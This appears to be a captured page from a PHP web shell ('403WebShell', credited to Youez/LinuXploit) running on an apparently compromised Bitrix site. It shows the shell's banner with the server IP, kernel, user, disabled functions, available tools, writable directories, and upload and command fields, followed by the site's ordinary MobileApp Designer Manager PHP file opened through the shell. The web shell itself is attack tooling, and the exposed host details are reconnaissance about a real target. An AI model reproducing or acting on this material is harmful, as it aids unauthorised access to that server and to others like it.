%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.66.24
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/mobileapp/lib/designer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/mobileapp/lib/designer/manager.php
<?php
namespace Bitrix\MobileApp\Designer;


use Bitrix\Main\Application;
use Bitrix\Main\Entity\FieldError;
use Bitrix\Main\IO\Directory;
use Bitrix\Main\IO\File;
use Bitrix\Main\Text\Encoding;

class Manager
{
	const IS_ALREADY_EXISTS = 3;
	const SUCCESS = 1;
	const FAIL = 0;
	const EMPTY_REQUIRED = 4;
	const APP_TEMPLATE_IS_NOT_EXISTS = 5;
	const PREVIEW_IMAGE_SIZE = 150;

	const SIMPLE_APP_TEMPLATE = "simple";

	/**
	 * Creates a new application with "global" configuration by default
	 *
	 * @param string $appCode - application code
	 * @param array $data - application data (name, short name, folder and etc)
	 * @param array $initConfig
	 *
	 * @return int
	 * @throws \Exception
	 * @see AppTable::getMap to get a bit more information about possible keys in $data
	 */
	public static function createApp($appCode = "", $data = array(), $initConfig = array())
	{
		$result = self::SUCCESS;
		$fields = $data;
		$fields["CODE"] = $appCode;
		$dbResult = AppTable::add($fields);
		if (!$dbResult->isSuccess())
		{
			$errors = $dbResult->getErrors();
			if ($errors[0]->getCode() == FieldError::INVALID_VALUE)
			{
				$result = self::IS_ALREADY_EXISTS;
			}
			elseif ($errors[0]->getCode() == FieldError::EMPTY_REQUIRED)
			{
				$result = self::EMPTY_REQUIRED;
			}
		}
		else
		{

			self::addConfig($appCode, "global", $initConfig);
		}

		return $result;
	}

	private static function getTemplateList()
	{
		return array(
			"simple",
			"api"
		);
	}

	/**
	 * Removes application by code
	 *
	 * @param string $appCode application code
	 *
	 * @return bool
	 */
	public static function removeApp($appCode)
	{
		$result = AppTable::delete($appCode);
		return $result->isSuccess();
	}

	/**
	 * Binds file to the application
	 *
	 * @param $fileArray - file array
	 * @param $appCode - application code
	 */
	public static function registerFileInApp(&$fileArray, $appCode)
	{
		$result = AppTable::getById($appCode);
		$appData = $result->fetchAll();
		if (count($appData) > 0)
		{
			if(!is_array($appData[0]["FILES"]))
				$appData[0]["FILES"] = [];
			$appData[0]["FILES"][] = $fileArray["fileID"];
			AppTable::update($appCode, array("FILES" => $appData[0]["FILES"]));
			$arImage = \CFile::ResizeImageGet(
				$fileArray["fileID"],
				array("width" => self::PREVIEW_IMAGE_SIZE, "height" => self::PREVIEW_IMAGE_SIZE),
				BX_RESIZE_IMAGE_EXACT,
				false,
				false,
				true
			);
			$fileArray["img_source_src"] = $arImage["src"];
		}

	}

	/**
	 *  Unbinds file
	 *
	 * @param $fileId - identifier of file in b_file table
	 * @param $appCode - application code
	 */
	public static function unregisterFileInApp($fileId, $appCode)
	{
		$result = AppTable::getById($appCode);
		$appData = $result->fetchAll();
		if (count($appData) > 0)
		{

			$index = array_search($fileId, $appData[0]["FILES"]);
			if ($index !== false)
			{
				unset($appData[0]["FILES"][$index]);
				AppTable::update($appCode, array("FILES" => $appData[0]["FILES"]));
			}
			die();

		}

	}

	/**
	 * Add configuration to application
	 *
	 * @param string $appCode - application code
	 * @param $platform - platform code
	 *
	 * @see ConfigTable::getSupportedPlatforms for details on availible platforms
	 *
	 * @param array $config - configuration
	 *
	 * @return bool
	 */
	public static function addConfig($appCode = "", $platform, $config = array())
	{
		if (ConfigTable::isExists($appCode, $platform))
		{
			return false;
		}

		$fields = array(
			"APP_CODE" => $appCode,
			"PLATFORM" => $platform,
			"PARAMS" => $config
		);

		$result = ConfigTable::add($fields);

		return $result->isSuccess();

	}

	/**
	 * Removes configuration
	 *
	 * @param string $appCode - application code
	 * @param array $platform - platform code
	 *
	 * @see ConfigTable::getSupportedPlatforms for details on availible platforms
	 * @return bool
	 */
	public static function removeConfig($appCode = "", $platform = array())
	{
		$filter = array(
			"APP_CODE" => $appCode,
			"PLATFORM" => $platform,
		);

		$result = ConfigTable::delete($filter);

		return $result->isSuccess();

	}

	/**
	 * Updates configuration
	 *
	 * @param string $appCode  application code
	 * @param array $platform  platform code
	 * @param array $config  new configuration
	 *
	 * @see ConfigTable::getSupportedPlatforms
	 *
	 * @return bool
	 */
	public static function updateConfig($appCode = "", $platform = "", $config = array())
	{
		if (!ConfigTable::isExists($appCode, $platform))
		{
			return false;
		}

		$map = new ConfigMap();
		foreach ($config as $paramName => $value)
		{
			if (!$map->has($paramName))
			{
				unset($config[$paramName]);
			}
		}

		$data = array(
			"PARAMS" => $config
		);

		$result = ConfigTable::update(array("APP_CODE" => $appCode, "PLATFORM" => $platform), $data);

		return $result->isSuccess();

	}

	/**
	 * Return configuration in JSON format
	 *
	 * @param $appCode - application code
	 * @param bool $platform - platform code
	 *
	 * @see ConfigTable::getSupportedPlatforms for details on availible platforms
	 * @return string
	 * @throws \Bitrix\Main\ArgumentException
	 */
	public static function getConfigJSON($appCode, $platform = false)
	{
		$map = new \Bitrix\MobileApp\Designer\ConfigMap();
		$res = ConfigTable::getList(array(
			"filter" => array(
				"APP_CODE" => $appCode,
			)
		));

		$configs = $res->fetchAll();
		$targetConfig = array();

		for ($i = 0; $i < count($configs); $i++)
		{
			if ($configs[$i]["PLATFORM"] == $platform)
			{
				$targetConfig = $configs[$i];
				break;
			}
			elseif ($configs[$i]["PLATFORM"] == "global")
			{
				$targetConfig = $configs[$i];
			}
		}

		$params = array_key_exists("PARAMS", $targetConfig) ? $targetConfig["PARAMS"]: array() ;
		$imageParamList = $map->getParamsByType(ParameterType::IMAGE);
		$imageSetParamList = $map->getParamsByType(ParameterType::IMAGE_SET);
		$structuredConfig = array();

		foreach ($params as $key => $value)
		{
			if (!$map->has($key))
			{
				continue;
			}

			if (array_key_exists($key, $imageParamList))
			{
				$imagePath = \CFile::GetPath($value);
				if($imagePath <> '')
					$value = $imagePath;
				else
					continue;
			}

			if (array_key_exists($key, $imageSetParamList))
			{
				$tmpValue = array();
				foreach ($value as $imageCode => $imageId)
				{
					$imagePath = \CFile::GetPath($imageId);
					if($imagePath <> '')
						$tmpValue[$imageCode] = $imagePath;
					else
						continue;
				}
				$value = $tmpValue;
			}
			$structuredConfig = array_merge_recursive(self::nameSpaceToArray($key, $value), $structuredConfig);
		}

		if(toUpper(SITE_CHARSET) != "UTF-8")
		{
			$structuredConfig = Encoding::convertEncodingArray($structuredConfig, SITE_CHARSET, "UTF-8");
		}

		self::addVirtualParams($structuredConfig, $platform);

		return json_encode($structuredConfig);
	}

	/**
	 * Checks if the configuration is already exists
	 *
	 * @param $folder
	 * @param $appCode - application code
	 * @param bool $useOffline
	 * @param string $templateCode
	 * @return bool
	 * @throws \Bitrix\Main\IO\FileNotFoundException
	 * @see ConfigTable::getSupportedPlatforms for details on availible platforms
	 */

	public static function copyFromTemplate($folder, $appCode, $useOffline = false, $templateCode = "simple")
	{
		if(!in_array($templateCode, self::getTemplateList()))
		{
			$templateCode = "simple";
		}

		$appFolderPath = Application::getDocumentRoot() . "/" . $folder . "/";
		$offlineTemplate = Application::getDocumentRoot() . "/bitrix/modules/mobileapp/templates_app/offline/";
		$templatePath = Application::getDocumentRoot() . "/bitrix/modules/mobileapp/templates_app/".$templateCode."/";

		$directory = new Directory($templatePath);
		if($directory->isExists())
		{
			if (!Directory::isDirectoryExists($appFolderPath))
			{
				if($useOffline)
				{
					CopyDirFiles($offlineTemplate, $appFolderPath."/offline");
				}

				$items = $directory->getChildren();
				foreach ($items as $entry)
				{
					/**
					 * @var $entry \Bitrix\Main\IO\FileSystemEntry
					 */
					$filePath = $entry->getPath();
					$appFilePath = $appFolderPath . $entry->getName();

					if($entry instanceof Directory)
					{
						CopyDirFiles($filePath, $appFolderPath."/".$entry->getName(),true,true);
					}
					else
					{
						$file = new File($entry->getPath());
						File::putFileContents(
							$appFilePath,
							str_replace(Array("#folder#", "#code#"), Array($folder, $appCode),$file->getContents())
						);
					}
				}
			}
		}
	}

	/**
	 * Binds (and creates if it's necessary) template to the application folder
	 *
	 * @param $templateId - symbolic code of the template
	 * @param $folder - the application folder
	 * @param bool $createNew - flag of the necessity of creating a new template
	 */
	public static function bindTemplate($templateId, $folder, $createNew)
	{
		$arFields = Array("TEMPLATE" => Array());
		if ($createNew)
		{
			CopyDirFiles(
				Application::getDocumentRoot() . "/bitrix/modules/mobileapp/templates/default_app/",
				Application::getDocumentRoot() . "/bitrix/templates/" . $templateId, True, True
			);

			File::putFileContents(
				Application::getDocumentRoot() . "/bitrix/templates/" . $templateId . "/description.php",
				str_replace(Array("#mobile_template_name#"), Array($templateId), File::getFileContents(Application::getDocumentRoot() . "/bitrix/templates/" . $templateId . "/description.php"))
			);

			$arFields["TEMPLATE"][] = Array(
				"SORT" => 1,
				"CONDITION" => "CSite::InDir('/" . $folder . "/')",
				"TEMPLATE" => $templateId
			);
		}

		$default_site_id = \CSite::GetDefSite();
		if ($default_site_id)
		{
			$dbTemplates = \CSite::GetTemplateList($default_site_id);
			$arFields["LID"] = $default_site_id;
			$isTemplateFound = false;
			while ($template = $dbTemplates->Fetch())
			{
				$arFields["TEMPLATE"][] = array(
					"TEMPLATE" => $template['TEMPLATE'],
					"SORT" => $template['SORT'],
					"CONDITION" => $template['CONDITION']
				);

				if ($template["TEMPLATE"] == $templateId && !$createNew && !$isTemplateFound)
				{
					$isTemplateFound = true;

					$arFields["TEMPLATE"][] = Array(
						"SORT" => 1,
						"CONDITION" => "CSite::InDir('/" . $folder . "/')",
						"TEMPLATE" => $templateId
					);
				}
			}

			$obSite = new \CSite;
			$obSite->Update($default_site_id, $arFields);
		}
	}

	/**
	 * Return files of the application
	 * @param $appCode - application code
	 * @return array
	 */
	public static function getAppFiles($appCode)
	{
		$result = AppTable::getById($appCode);
		$appData = $result->fetchAll();
		$files = [];
		if (count($appData) > 0 && is_array($appData[0]['FILES']))
		{
			//TODO fix, use module_id in the filter
			$result = \CFile::GetList(['ID' => 'desc'], ['@ID' => implode(',', $appData[0]['FILES'])]);
			while ($file = $result->Fetch())
			{
				$image = \CFile::ResizeImageGet(
					$file['ID'],
					['width' => self::PREVIEW_IMAGE_SIZE, 'height' => self::PREVIEW_IMAGE_SIZE],
					BX_RESIZE_IMAGE_EXACT,
					false,
					false,
					true
				);
				$files['file_' . $file['ID']] = [
					'id' => $file['ID'],
					'src' => \CFile::GetFileSRC($file),
					'preview' => $image['src']
				];
			}
		}

		return $files;
	}

	/**
	 * Converts the namespace string to the array
	 * and assigns the given value to the key of deepest level of the namespace
	 *
	 * @param $namespace - namespace string
	 * @param $value - value
	 *
	 * <br>
	 *
	 * Here is an example:
	 * <code>
	 * $namespace = "\depth0\depth1\depth3"
	 * $value = "value1";
	 * $resultArray = \Bitrix\MobileApp\Designer\Manager\nameSpaceToArray($namespace,$value));
	 *
	 * <b>Result:</b>
	 * array(
	 *  "depth0"=>array(
	 *    "depth1"=>array(
	 *      "depth2"=>"value1"
	 *    )
	 *  )
	 *);
	 *
	 * </code>
	 *
	 * @return array
	 */
	private static function nameSpaceToArray($namespace, $value)
	{
		$keys = explode("/", $namespace);
		$result = array();
		$temp = & $result;
		for ($i = 0; $i < count($keys); $i++)
		{
			$temp = & $temp[$keys[$i]];
		}

		$temp = $value;

		return $result;

	}

	private static function addVirtualParams(&$structuredConfig, $platform)
	{
		if($structuredConfig["offline"] && !empty($structuredConfig["offline"]["file_list"]))
		{
			$offlineParams = &$structuredConfig["offline"];
			$offlineParams["file_list"]["bitrix_mobile_core.js"] = Tools::getMobileJSCorePath();
			$changeMark = Tools::getArrayFilesHash($offlineParams["file_list"]);
			$offlineParams["change_mark"] = $changeMark;
		}

		if($structuredConfig["buttons"]["badge"])
		{
			$structuredConfig["buttons_badge"] = $structuredConfig["buttons"]["badge"];
			unset($structuredConfig["buttons"]["badge"]);
		}

		$structuredConfig["info"] = array(
			"designer_version"=> ConfigMap::VERSION,
			"platform"=>$platform
		);
	}


}






Youez - 2016 - github.com/yon3zu
LinuXploit